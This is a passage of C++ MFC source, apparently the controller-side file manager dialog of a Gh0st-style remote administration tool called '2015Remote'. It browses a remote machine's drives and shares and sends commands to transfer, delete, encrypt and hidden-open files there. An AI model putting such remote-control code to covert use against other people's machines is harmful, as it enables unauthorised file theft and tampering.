// FileManagerDlg.cpp : implementation file #include "stdafx.h" #include "2015Remote.h" #include "CFileManagerDlg.h" #include "CFileTransferModeDlg.h" #include "InputDlg.h" #include #include #ifdef _DEBUG #define new DEBUG_NEW #endif #define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32)) static UINT indicators[] = { ID_SEPARATOR, // status line indicator ID_SEPARATOR, ID_SEPARATOR }; ///////////////////////////////////////////////////////////////////////////// // CFileManagerDlg dialog using namespace file; CFileManagerDlg::CFileManagerDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext) : DialogBase(CFileManagerDlg::IDD, pParent, pIOCPServer, pContext, IDI_File) { m_ProgressCtrl = nullptr; m_SearchStr = _T(""); m_bSubFordle = FALSE; id_search_result = 0; // 保存远程驱动器列表 m_bCanAdmin = (*m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)) == 0x01; m_strDesktopPath = (TCHAR*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(2); memset(m_bRemoteDriveList, 0, sizeof(m_bRemoteDriveList)); memcpy(m_bRemoteDriveList, m_ContextObject->m_DeCompressionBuffer.GetBuffer(1 + 1 + (m_strDesktopPath.GetLength() + 1) * sizeof(TCHAR)), m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1 - 1 - (m_strDesktopPath.GetLength() + 1) * sizeof(TCHAR)); m_bUseAdmin = false; m_hFileSend = INVALID_HANDLE_VALUE; m_hFileRecv = INVALID_HANDLE_VALUE; m_nTransferMode = TRANSFER_MODE_NORMAL; m_nOperatingFileLength = 0; m_nCounter = 0; m_bIsStop = false; DRIVE_Sys = FALSE; DRIVE_CAZ = FALSE; Bf_nCounters = 0;// 备份计数器 由于比较用 Bf_dwOffsetHighs = 0; Bf_dwOffsetLows = 0; m_bDragging = FALSE; } void CFileManagerDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); DDX_Control(pDX, IDC_REMOTE_PATH, m_Remote_Directory_ComboBox); DDX_Control(pDX, IDC_LIST_REMOTE, m_list_remote); DDX_Control(pDX, IDC_LIST_REMOTE_DRIVER, m_list_remote_driver); DDX_Control(pDX, IDC_BTN_SEARCH, m_BtnSearch); DDX_Text(pDX, IDC_EDT_SEARCHSTR, m_SearchStr); DDX_Check(pDX, IDC_CK_SUBFORDLE, m_bSubFordle); DDX_Control(pDX, IDC_LIST_REMOTE_SEARCH, m_list_remote_search); } BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog) ON_WM_QUERYDRAGICON() ON_WM_SIZE() ON_WM_MOUSEMOVE() ON_WM_LBUTTONUP() ON_WM_TIMER() ON_WM_CLOSE() ON_NOTIFY(NM_DBLCLK, IDC_LIST_REMOTE_DRIVER, OnDblclkListRemotedriver) //主1 双击 ON_NOTIFY(NM_DBLCLK, IDC_LIST_REMOTE, OnDblclkListRemote) //主 双击 ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE_DRIVER, OnRclickListRemotedriver) //主1 右键 ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE, OnRclickListRemote) //主 右键 ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE_SEARCH, OnRclickListSearch) //搜索 右键 ON_NOTIFY(NM_CLICK, IDC_LIST_REMOTE_DRIVER, OnclkListRemotedriver) //主1 单击 ON_NOTIFY(NM_CLICK, IDC_LIST_REMOTE, OnclkListRemote) //主 单击 ON_NOTIFY(NM_CLICK, IDC_LIST_REMOTE_SEARCH, OnclickListSearch) //搜索 单击 ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_REMOTE, OnEndLabelEditListRemote) ON_NOTIFY(LVN_BEGINDRAG, IDC_LIST_REMOTE, OnBeginDragListRemote) ON_COMMAND(IDT_REMOTE_VIEW, OnRemoteView) //显示方式 ON_COMMAND(IDT_REMOTE_PREV, OnRemotePrev) //向上 ON_COMMAND(IDT_REMOTE_STOP, OnRemoteStop) //取消 ON_BN_CLICKED(IDC_BUTTON_GO, OnGo) ON_COMMAND(IDM_RENAME, OnRename) ON_COMMAND(IDM_DELETE, OnDelete) ON_COMMAND(IDM_DELETE_ENFORCE, OnDeleteEnforce) ON_COMMAND(IDM_NEWFOLDER, OnNewFolder) ON_COMMAND(IDM_USE_ADMIN, OnUseAdmin) ON_COMMAND(IDM_REMOTE_OPEN_SHOW, OnRemoteOpenShow) ON_COMMAND(IDM_REMOTE_OPEN_HIDE, OnRemoteOpenHide) ON_COMMAND(IDM_GET_FILEINFO, OnRemoteInfo) ON_COMMAND(ID_FILEMANGER_Encryption, OnRemoteEncryption) ON_COMMAND(ID_FILEMANGER_decrypt, OnRemoteDecrypt) ON_COMMAND(ID_FILEMANGER_COPY, OnRemoteCopyFile) ON_COMMAND(ID_FILEMANGER_PASTE, OnRemotePasteFile) ON_COMMAND(ID_FILEMANGER_ZIP, OnRemotezip) ON_COMMAND(ID_FILEMANGER_ZIP_STOP, OnRemotezipstop) ON_COMMAND(IDM_COMPRESS, OnCompress) ON_COMMAND(IDM_UNCOMPRESS, OnUncompress) ON_COMMAND(IDM_REFRESH, OnRefresh) ON_COMMAND(IDM_TRANSFER_S, OnTransferSend) ON_COMMAND(IDM_TRANSFER_R, OnTransferRecv) ON_CBN_SETFOCUS(IDC_REMOTE_PATH, OnSetfocusRemotePath) ON_BN_CLICKED(IDC_BTN_SEARCH, OnBtnSearch) ON_BN_CLICKED(ID_SEARCH_STOP, OnBnClickedSearchStop) ON_BN_CLICKED(ID_SEARCH_RESULT, OnBnClickedSearchResult) END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CFileManagerDlg message handlers BOOL CFileManagerDlg::MyShell_GetImageLists() { I_ImageList0.DeleteImageList(); I_ImageList0.Create(32, 32, ILC_COLOR32 | ILC_MASK, 2, 2); I_ImageList0.SetBkColor(::GetSysColor(COLOR_BTNFACE)); I_ImageList0.Add(AfxGetApp()->LoadIcon(IDI_MGICON_A)); I_ImageList0.Add(AfxGetApp()->LoadIcon(IDI_MGICON_C)); I_ImageList0.Add(AfxGetApp()->LoadIcon(IDI_MGICON_D)); I_ImageList0.Add(AfxGetApp()->LoadIcon(IDI_MGICON_E)); I_ImageList0.Add(AfxGetApp()->LoadIcon(IDI_MGICON_F)); I_ImageList0.Add(AfxGetApp()->LoadIcon(IDI_MGICON_G)); I_ImageList1.DeleteImageList(); I_ImageList1.Create(16, 16, ILC_COLOR32 | ILC_MASK, 2, 2); I_ImageList1.SetBkColor(::GetSysColor(COLOR_BTNFACE)); I_ImageList1.Add(AfxGetApp()->LoadIcon(IDI_MGICON_A)); I_ImageList1.Add(AfxGetApp()->LoadIcon(IDI_MGICON_C)); I_ImageList1.Add(AfxGetApp()->LoadIcon(IDI_MGICON_D)); I_ImageList1.Add(AfxGetApp()->LoadIcon(IDI_MGICON_E)); I_ImageList1.Add(AfxGetApp()->LoadIcon(IDI_MGICON_F)); I_ImageList1.Add(AfxGetApp()->LoadIcon(IDI_MGICON_G)); m_list_remote_driver.SetImageList(&I_ImageList0, LVSIL_NORMAL); m_list_remote_driver.SetImageList(&I_ImageList1, LVSIL_SMALL); return TRUE; } BOOL CFileManagerDlg::OnInitDialog() { CDialog::OnInitDialog(); RECT rect; GetClientRect(&rect); // 设置标题 CString str; str.Format(_T("文件管理 - %s"), m_ContextObject->PeerName.c_str()), SetWindowText(str); // 创建带进度条的状态栏 if (!m_wndStatusBar.Create(this) || !m_wndStatusBar.SetIndicators(indicators, sizeof(indicators) / sizeof(UINT))) { TRACE0("Failed to create status bar\n"); return -1; // fail to create } m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0), SBPS_STRETCH, NULL); m_wndStatusBar.SetPaneInfo(1, m_wndStatusBar.GetItemID(1), SBPS_NORMAL, 100); m_wndStatusBar.SetPaneInfo(2, m_wndStatusBar.GetItemID(2), SBPS_NORMAL, 210); RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //显示状态栏 m_wndStatusBar.GetItemRect(1, &rect); m_ProgressCtrl = new CProgressCtrl; m_ProgressCtrl->Create(PBS_SMOOTH | WS_VISIBLE, rect, &m_wndStatusBar, 1); m_ProgressCtrl->SetRange(0, 100); //设置进度条范围 m_ProgressCtrl->SetPos(0); //设置进度条当前位置 SHAutoComplete(GetDlgItem(IDC_REMOTE_PATH)->GetWindow(GW_CHILD)->m_hWnd, SHACF_FILESYSTEM); SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon MyShell_GetImageLists(); m_list_remote_driver.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_ONECLICKACTIVATE | LVS_EX_SUBITEMIMAGES | LVS_EX_GRIDLINES | LVS_SHAREIMAGELISTS); m_list_remote.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_ONECLICKACTIVATE | LVS_EX_SUBITEMIMAGES | LVS_EX_GRIDLINES | LVS_SHAREIMAGELISTS); m_list_remote_search.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_ONECLICKACTIVATE | LVS_EX_SUBITEMIMAGES | LVS_EX_GRIDLINES | LVS_SHAREIMAGELISTS); m_list_remote.SetImageList(&(THIS_APP->m_pImageList_Large), LVSIL_NORMAL); m_list_remote.SetImageList(&(THIS_APP->m_pImageList_Small), LVSIL_SMALL); m_list_remote_search.SetImageList(&(THIS_APP->m_pImageList_Large), LVSIL_NORMAL); m_list_remote_search.SetImageList(&(THIS_APP->m_pImageList_Small), LVSIL_SMALL); m_list_remote_driver.InsertColumn(0, _T("名称"), LVCFMT_LEFT, 50); m_list_remote_driver.InsertColumn(1, _T("类型"), LVCFMT_LEFT, 38); m_list_remote_driver.InsertColumn(2, _T("总大小"), LVCFMT_LEFT, 70); m_list_remote_driver.InsertColumn(3, _T("可用空间"), LVCFMT_LEFT, 70); m_list_remote.InsertColumn(0, _T("名称"), LVCFMT_LEFT, 250); m_list_remote.InsertColumn(1, _T("大小"), LVCFMT_LEFT, 70); m_list_remote.InsertColumn(2, _T("类型"), LVCFMT_LEFT, 120); m_list_remote.InsertColumn(3, _T("修改日期"), LVCFMT_LEFT, 115); m_list_remote.SetParenDlg(this); //设置搜索list表头 m_list_remote_search.ShowWindow(SW_HIDE); m_list_remote_search.InsertColumn(0, _T("文件名"), LVCFMT_LEFT, 130); m_list_remote_search.InsertColumn(1, _T("大小"), LVCFMT_LEFT, 100); m_list_remote_search.InsertColumn(2, _T("修改日期"), LVCFMT_LEFT, 100); m_list_remote_search.InsertColumn(3, _T("文件路径"), LVCFMT_LEFT, 450); SetWindowPos(NULL, 0, 0, 830, 500, SWP_NOMOVE); FixedRemoteDriveList(); return TRUE; } void CFileManagerDlg::OnSize(UINT nType, int cx, int cy) { CDialog::OnSize(nType, cx, cy); // TODO: Add your message handler code here // 状态栏还没有创建 if (m_wndStatusBar.m_hWnd == NULL) return; // 定位状态栏 RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //显示工具栏 RECT rect; m_wndStatusBar.GetItemRect(1, &rect); m_ProgressCtrl->MoveWindow(&rect); } void CFileManagerDlg::OnBeginDragListRemote(NMHDR* pNMHDR, LRESULT* pResult) { NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR; //We will call delete later (in LButtonUp) to clean this up if (m_list_remote.GetSelectedCount() > 1) //选择了列表中的超过 1 个项目 m_hCursor = AfxGetApp()->LoadCursor(IDC_MUTI_DRAG); else m_hCursor = AfxGetApp()->LoadCursor(IDC_DRAG); ASSERT(m_hCursor); m_bDragging = TRUE; SetCapture(); *pResult = 0; } void CFileManagerDlg::OnLButtonUp(UINT nFlags, CPoint point) { if (m_bDragging) { m_bDragging = FALSE; BOOL bDownload = FALSE; SetCursor(LoadCursor(NULL, IDC_NO)); TCHAR str[1024] = TEXT("c:\\"); HWND hwnd = NULL; POINT pNow = { 0,0 }; if (GetCursorPos(&pNow)) // 获取鼠标当前位置 mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTDOWN, pNow.x, pNow.y, 0, 0); mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTUP, pNow.x, pNow.y, 0, 0); Sleep(150); HWND hwndPointNow = NULL; hwndPointNow = ::WindowFromPoint(pNow); // 获取鼠标所在窗口的句柄 TCHAR szBuf_class[MAX_PATH]; TCHAR szBuf_title[MAX_PATH]; ::GetWindowText(hwndPointNow, szBuf_title, MAX_PATH); GetClassName(hwndPointNow, szBuf_class, MAX_PATH); if ((lstrcmp(szBuf_class, _T("SysListView32")) == 0) && (lstrcmp(szBuf_title, _T("FolderView")) == 0)) { TCHAR DeskTopPath[255]; SHGetSpecialFolderPath(0, DeskTopPath, CSIDL_DESKTOPDIRECTORY, 0); strLpath = DeskTopPath; bDownload = TRUE; } else { GetClassName(hwndPointNow, szBuf_class, MAX_PATH); if ((lstrcmp(szBuf_class, _T("DirectUIHWND")) == 0)) { hwnd = ::FindWindowEx(NULL, NULL, TEXT("CabinetWClass"), NULL); hwnd = ::FindWindowEx(hwnd, NULL, TEXT("WorkerW"), NULL); hwnd = ::FindWindowEx(hwnd, NULL, TEXT("ReBarWindow32"), NULL); hwnd = ::FindWindowEx(hwnd, NULL, TEXT("ComboBoxEx32"), NULL); //XP if (hwnd == NULL) { hwnd = ::FindWindowEx(NULL, NULL, TEXT("CabinetWClass"), NULL); hwnd = ::FindWindowEx(hwnd, NULL, TEXT("WorkerW"), NULL); hwnd = ::FindWindowEx(hwnd, NULL, TEXT("ReBarWindow32"), NULL); hwnd = ::FindWindowEx(hwnd, NULL, TEXT("Address Band Root"), NULL); hwnd = ::FindWindowEx(hwnd, NULL, TEXT("msctls_progress32"), NULL); hwnd = ::FindWindowEx(hwnd, NULL, TEXT("Breadcrumb Parent"), NULL); hwnd = ::FindWindowEx(hwnd, NULL, TEXT("ToolbarWindow32"), NULL); } if (hwnd == NULL) { ::MessageBox(NULL, _T("请拖拽到文件管理器选定目录中"), TEXT("错误"), 0); } else { ::SendMessage(hwnd, WM_GETTEXT, 1024, (LPARAM)str); strLpath = str + 4; bDownload = TRUE; } } } if (bDownload) { m_bIsUpload = false; // 禁用文件管理窗口 EnableControl(FALSE); CString file; m_Remote_Download_Job.RemoveAll(); POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); while (pos) { int nItem = m_list_remote.GetNextSelectedItem(pos); file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); // 如果是目录 if (m_list_remote.GetItemData(nItem)) file += '\\'; m_Remote_Download_Job.AddTail(file); } if (file.IsEmpty()) { EnableControl(TRUE); ::MessageBox(m_hWnd, _T("请选择文件!"), _T("警告"), MB_OK | MB_ICONWARNING); return; } if (strLpath == _T("")) { EnableControl(TRUE); return; } if (strLpath.GetAt(strLpath.GetLength() - 1) != _T('\\')) strLpath += _T("\\"); m_nTransferMode = TRANSFER_MODE_NORMAL; // 发送第一个下载任务 SendDownloadJob(); } } CDialog::OnLButtonUp(nFlags, point); } BOOL CFileManagerDlg::PreTranslateMessage(MSG* pMsg) { if (pMsg->message == WM_KEYDOWN) { if (pMsg->wParam == VK_ESCAPE) return true; if (pMsg->wParam == VK_RETURN) { if (pMsg->hwnd == m_list_remote.m_hWnd || pMsg->hwnd == ((CEdit*)m_Remote_Directory_ComboBox.GetWindow(GW_CHILD))->m_hWnd) { GetRemoteFileList(); } return TRUE; } } // 单击除了窗口标题栏以外的区域使窗口移动 if (pMsg->message == WM_LBUTTONDOWN && pMsg->hwnd == m_hWnd) { pMsg->message = WM_NCLBUTTONDOWN; pMsg->wParam = HTCAPTION; } return CDialog::PreTranslateMessage(pMsg); } void CFileManagerDlg::OnTimer(UINT_PTR nIDEvent) { // TODO: Add your message handler code here and/or call default m_ProgressCtrl->StepIt(); CDialog::OnTimer(nIDEvent); } void CFileManagerDlg::FixedRemoteDriveList() { // 加载系统统图标列表 设置驱动器图标列表 //加载系统图标 DRIVE_Sys = FALSE; BYTE* pDrive = NULL; pDrive = (BYTE*)m_bRemoteDriveList; int count = 0; int AmntMB = 0; // 总大小 int FreeMB = 0; // 剩余空间 /* 6 DRIVE_FLOPPY 7 DRIVE_REMOVABLE 8 DRIVE_FIXED 9 DRIVE_REMOTE 10 DRIVE_REMOTE_DISCONNECT 11 DRIVE_CDROM */ int nIconIndex = -1; //用一个循环遍历所有发送来的信息,先是到列表中 for (int i = 0; pDrive[i] != '\0';) { //由驱动器名判断图标的索引 if (pDrive[i] == _T('A') || pDrive[i] == _T('B')) { nIconIndex = 0; } else { switch (pDrive[i + 2]) { case DRIVE_REMOVABLE: nIconIndex = 3; break; case DRIVE_FIXED: if (!DRIVE_Sys) { DRIVE_Sys = TRUE; nIconIndex = 1; } else nIconIndex = 2; break; case DRIVE_REMOTE: nIconIndex = 4; break; case DRIVE_CDROM: nIconIndex = 5; break; default: nIconIndex = 2; break; } } //显示驱动器名 CString str; str.Format(_T("%c:\\"), pDrive[i]); int nItem = m_list_remote_driver.InsertItem(i, str, nIconIndex); m_list_remote_driver.SetItemData(nItem, 1); //显示驱动器大小 memcpy(&AmntMB, pDrive + i + 4, 4); memcpy(&FreeMB, pDrive + i + 8, 4); str.Format(_T("%0.1f GB"), (float)AmntMB / 1024); m_list_remote_driver.SetItemText(nItem, 2, str); str.Format(_T("%0.1f GB"), (float)FreeMB / 1024); m_list_remote_driver.SetItemText(nItem, 3, str); i += 12; TCHAR* lpFileSystemName = NULL; TCHAR* lpTypeName = NULL; lpTypeName = (TCHAR*)(pDrive + i); i += (lstrlen(lpTypeName) + 1) * sizeof(TCHAR); lpFileSystemName = (TCHAR*)(pDrive + i); // 磁盘类型, 为空就显示磁盘名称 if (lstrlen(lpFileSystemName) == 0) { m_list_remote_driver.SetItemText(nItem, 1, lpTypeName); } else { m_list_remote_driver.SetItemText(nItem, 1, lpFileSystemName); } i += (lstrlen(lpFileSystemName) + 1) * sizeof(TCHAR); count++; } m_list_remote_driver.InsertItem(0, _T("桌面"), nIconIndex); m_list_remote_driver.InsertItem(0, _T("最近"), nIconIndex); count += 2; // 重置远程当前路径 m_Remote_Path = ""; m_Remote_Directory_ComboBox.ResetContent(); DRIVE_CAZ = FALSE; DWORD_PTR dwResult; ShowMessage(_T("远程计算机:磁盘列表")); SendMessageTimeout(m_ProgressCtrl->GetSafeHwnd(), PBM_SETPOS, 0, 0, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, NULL, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); BYTE bPacket = COMMAND_FILE_GETNETHOOD; m_ContextObject->Send2Client(&bPacket, 1); } void CFileManagerDlg::fixNetHood(BYTE* pbuffer, int buffersize) { CString str; TCHAR* pszFileName = NULL; int strsize; DWORD dwOffset = 0; // 位移指针 for (int i = 0; dwOffset < buffersize - sizeof(int);) { memcpy(&strsize, pbuffer + dwOffset, sizeof(int)); pszFileName = (TCHAR*)(pbuffer + dwOffset + sizeof(int)); str = pszFileName; int nItem = m_list_remote_driver.InsertItem(m_list_remote_driver.GetItemCount(), str, DRIVE_REMOTE); m_list_remote_driver.SetItemData(nItem, 1); m_list_remote_driver.SetItemText(nItem, 1, _T("共享")); m_list_remote_driver.SetItemText(nItem, 2, _T("")); m_list_remote_driver.SetItemText(nItem, 3, _T("")); dwOffset += (strsize + sizeof(int)); } } void CFileManagerDlg::OnClose() { CancelIO(); // 等待数据处理完毕 if (IsProcessing()) { ShowWindow(SW_HIDE); return; } DestroyCursor(m_hCursor); if (m_hFileSend != INVALID_HANDLE_VALUE) { CloseHandle(m_hFileSend); m_hFileSend = INVALID_HANDLE_VALUE; } if (m_hFileRecv != INVALID_HANDLE_VALUE) { CloseHandle(m_hFileRecv); m_hFileRecv = INVALID_HANDLE_VALUE; } int iImageCount = I_ImageList0.GetImageCount(); for (int i = 0; i < iImageCount; i++) { I_ImageList0.Remove(-1); } iImageCount = I_ImageList1.GetImageCount(); for (int i = 0; i < iImageCount; i++) { I_ImageList1.Remove(-1); } m_wndStatusBar.DestroyWindow(); m_ProgressCtrl->DestroyWindow(); SAFE_DELETE(m_ProgressCtrl); DialogBase::OnClose(); } CString CFileManagerDlg::GetParentDirectory(CString strPath) { CString strCurPath = strPath; int Index = strCurPath.ReverseFind(_T('\\')); if (Index == -1) { return strCurPath; } CString str = strCurPath.Left(Index); Index = str.ReverseFind(_T('\\')); if (Index == -1) { strCurPath = _T(""); return strCurPath; } strCurPath = str.Left(Index); if (strCurPath.Right(1) != _T("\\")) strCurPath += _T("\\"); return strCurPath; } void CFileManagerDlg::OnReceiveComplete() { if (m_bIsClosed) return; switch (m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_FILE_LIST: // 文件列表 FixedRemoteFileList(m_ContextObject->m_DeCompressionBuffer.GetBuffer(0), m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1); break; case TOKEN_FILE_SIZE: // 传输文件时的第一个数据包,文件大小,及文件名 CreateLocalRecvFile(); break; case TOKEN_FILE_DATA: // 文件内容 WriteLocalRecvFile(); break; case TOKEN_TRANSFER_FINISH: // 传输完成 EndLocalRecvFile(); break; case TOKEN_CREATEFOLDER_FINISH: GetRemoteFileList(_T(".")); break; case TOKEN_DELETE_FINISH: EndRemoteDeleteFile(); break; case TOKEN_GET_TRANSFER_MODE: //文件上传 SendTransferMode(); break; case TOKEN_DATA_CONTINUE: SendFileData(); //文件上传数据 break; case TOKEN_RENAME_FINISH: // 刷新远程文件列表 GetRemoteFileList(_T(".")); break; case TOKEN_SEARCH_FILE_LIST: FixedRemoteSearchFileList ( m_ContextObject->m_DeCompressionBuffer.GetBuffer(0), m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1 ); break; case TOKEN_SEARCH_FILE_FINISH: SearchEnd(); break; case TOKEN_COMPRESS_FINISH: GetRemoteFileList(_T(".")); break; case TOKEN_FILE_GETNETHOOD: fixNetHood(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1), m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1); break; case TOKEN_FILE_RECENT: { CString strRecent = (TCHAR*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1); m_Remote_Directory_ComboBox.SetWindowText(strRecent); m_list_remote.SetSelectionMark(-1); GetRemoteFileList(); } break; case TOKEN_FILE_INFO: { CString szInfo = (TCHAR*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1); if (MessageBox(szInfo, _T("路径 确认拷贝到剪切板"), MB_ICONEXCLAMATION | MB_YESNO) == IDYES) { CStringA a; a = szInfo; ::OpenClipboard(::GetDesktopWindow()); ::EmptyClipboard(); HGLOBAL hglbCopy = GlobalAlloc(GMEM_MOVEABLE, a.GetLength() + 1); if (hglbCopy != NULL) { // Lock the handle and copy the text to the buffer. LPTSTR lptstrCopy = (LPTSTR)GlobalLock(hglbCopy); memcpy(lptstrCopy, a.GetBuffer(), a.GetLength() + 1); GlobalUnlock(hglbCopy); // Place the handle on the clipboard. SetClipboardData(CF_TEXT, hglbCopy); GlobalFree(hglbCopy); } CloseClipboard(); } } break; case TOKEN_FILE_REFRESH: { GetRemoteFileList(_T(".")); } break; case TOKEN_FILE_ZIPOK: { GetRemoteFileList(_T(".")); ShowMessage(_T("压缩完成")); MessageBox(0, _T("ZIP压缩完成")); } break; case TOKEN_FILE_GETINFO: { } break; case TOKEN_FILE_SEARCHPLUS_LIST: ShowSearchPlugList(); break; case TOKEN_FILE_SEARCHPLUS_NONTFS: { DWORD_PTR dwResult; SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,(LPARAM)_T(" 驱动盘非NTFS格式"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } break; case TOKEN_FILE_SEARCHPLUS_HANDLE: { DWORD_PTR dwResult; SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("需要管理员权限运行"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } break; case TOKEN_FILE_SEARCHPLUS_INITUSN: { DWORD_PTR dwResult; SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("初始化日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } break; case TOKEN_FILE_SEARCHPLUS_GETUSN: { DWORD_PTR dwResult; SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("获取日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } break; case TOKEN_FILE_SEARCHPLUS_NUMBER: { DWORD_PTR dwResult; int i; memcpy(&i, m_ContextObject->m_DeCompressionBuffer.GetBuffer() + 1, sizeof(int)); CString strMsgShow; strMsgShow.Format(_T("已经搜索 %d 请勿再次搜索"), i); SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)(strMsgShow.GetBuffer()), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } break; default: SendException(); break; } } void CFileManagerDlg::OnReceive() { } void CFileManagerDlg::GetRemoteFileList(CString directory) { if (directory.GetLength() == 0) { int nItem = m_list_remote.GetSelectionMark(); // 如果有选中的,是目录 if (nItem != -1) { if (m_list_remote.GetItemData(nItem) == 1) { directory = m_list_remote.GetItemText(nItem, 0); } } // 从组合框里得到路径 else { m_Remote_Directory_ComboBox.GetWindowText(m_Remote_Path); } } // 得到父目录 if (directory == _T("..")) { if (m_Remote_Path.GetLength() == 3) return; m_Remote_Path = GetParentDirectory(m_Remote_Path); } else if (directory != _T(".")) { m_Remote_Path += directory; if (m_Remote_Path.GetLength() > 0 && m_Remote_Path.Right(1) != _T("\\")) m_Remote_Path += _T("\\"); } // 是驱动器的根目录,返回磁盘列表 if (m_Remote_Path.GetLength() == 0) { return; } // 发送数据前清空缓冲区 int PacketSize = (m_Remote_Path.GetLength() + 1) * sizeof(TCHAR) + 1; BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, PacketSize); bPacket[0] = COMMAND_LIST_FILES; memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1); m_ContextObject->Send2Client(bPacket, PacketSize); LocalFree(bPacket); m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path); m_Remote_Directory_ComboBox.SetCurSel(0); // 得到返回数据前禁窗口 m_list_remote.EnableWindow(FALSE); m_list_remote_driver.EnableWindow(FALSE); DRIVE_CAZ = FALSE; } void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult) { if (m_list_remote.GetSelectedCount() == 0 || m_list_remote.GetItemData(m_list_remote.GetSelectionMark()) != 1) { //获取文件详细信息 POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); if (pos != NULL) { int nItem = m_list_remote.GetNextSelectedItem(pos); CString filename = m_list_remote.GetItemText(nItem, 0); filename = m_Remote_Path + filename; // 发送数据前清空缓冲区 int PacketSize = (filename.GetLength() + 1) * sizeof(TCHAR) + 1; BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, PacketSize); bPacket[0] = COMMAND_FILE_GETINFO; memcpy(bPacket + 1, filename.GetBuffer(0), PacketSize - 1); m_ContextObject->Send2Client(bPacket, PacketSize); LocalFree(bPacket); } return; } GetRemoteFileList(); *pResult = 0; } void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) { if (m_list_remote_driver.GetSelectedCount() == 0) return; int nItem = m_list_remote_driver.GetSelectionMark(); CString directory = m_list_remote_driver.GetItemText(nItem, 0); if (directory.Compare(_T("桌面")) == 0) { m_Remote_Directory_ComboBox.SetWindowText(m_strDesktopPath); m_list_remote.SetSelectionMark(-1); GetRemoteFileList(); return; } if (directory.Compare(_T("最近")) == 0) { BYTE byToken = COMMAND_FILE_RECENT; m_ContextObject->Send2Client(&byToken, 1); return; } m_Remote_Path = directory; // 发送数据前清空缓冲区 int PacketSize = (directory.GetLength() + 1) * sizeof(TCHAR) + 1; BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, PacketSize); bPacket[0] = COMMAND_LIST_FILES; memcpy(bPacket + 1, directory.GetBuffer(0), PacketSize - 1); m_ContextObject->Send2Client(bPacket, PacketSize); LocalFree(bPacket); m_Remote_Directory_ComboBox.InsertString(0, directory); m_Remote_Directory_ComboBox.SetCurSel(0); // 得到返回数据前禁窗口 m_list_remote.EnableWindow(FALSE); m_list_remote_driver.EnableWindow(FALSE); DRIVE_CAZ = FALSE; *pResult = 0; } void CFileManagerDlg::OnclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) { } void CFileManagerDlg::OnclkListRemote(NMHDR* pNMHDR, LRESULT* pResult) { } void CFileManagerDlg::OnclickListSearch(NMHDR* pNMHDR, LRESULT* pResult) { } int GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes); void CFileManagerDlg::FixedRemoteFileList(BYTE* pbBuffer, DWORD dwBufferLen) { // 重建标题 m_list_remote.DeleteAllItems(); int nItemIndex = 0; m_list_remote.SetItemData ( m_list_remote.InsertItem(nItemIndex++, _T(".."), GetIconIndex(NULL, FILE_ATTRIBUTE_DIRECTORY)), 1 ); /* ListView 消除闪烁 更新数据前用SetRedraw(FALSE) 更新后调用SetRedraw(TRUE) */ m_list_remote.SetRedraw(FALSE); if (dwBufferLen != 0) { // for (int i = 0; i < 2; i++) { // 跳过Token,共5字节 byte* pList = (byte*)(pbBuffer + 1); for (byte* 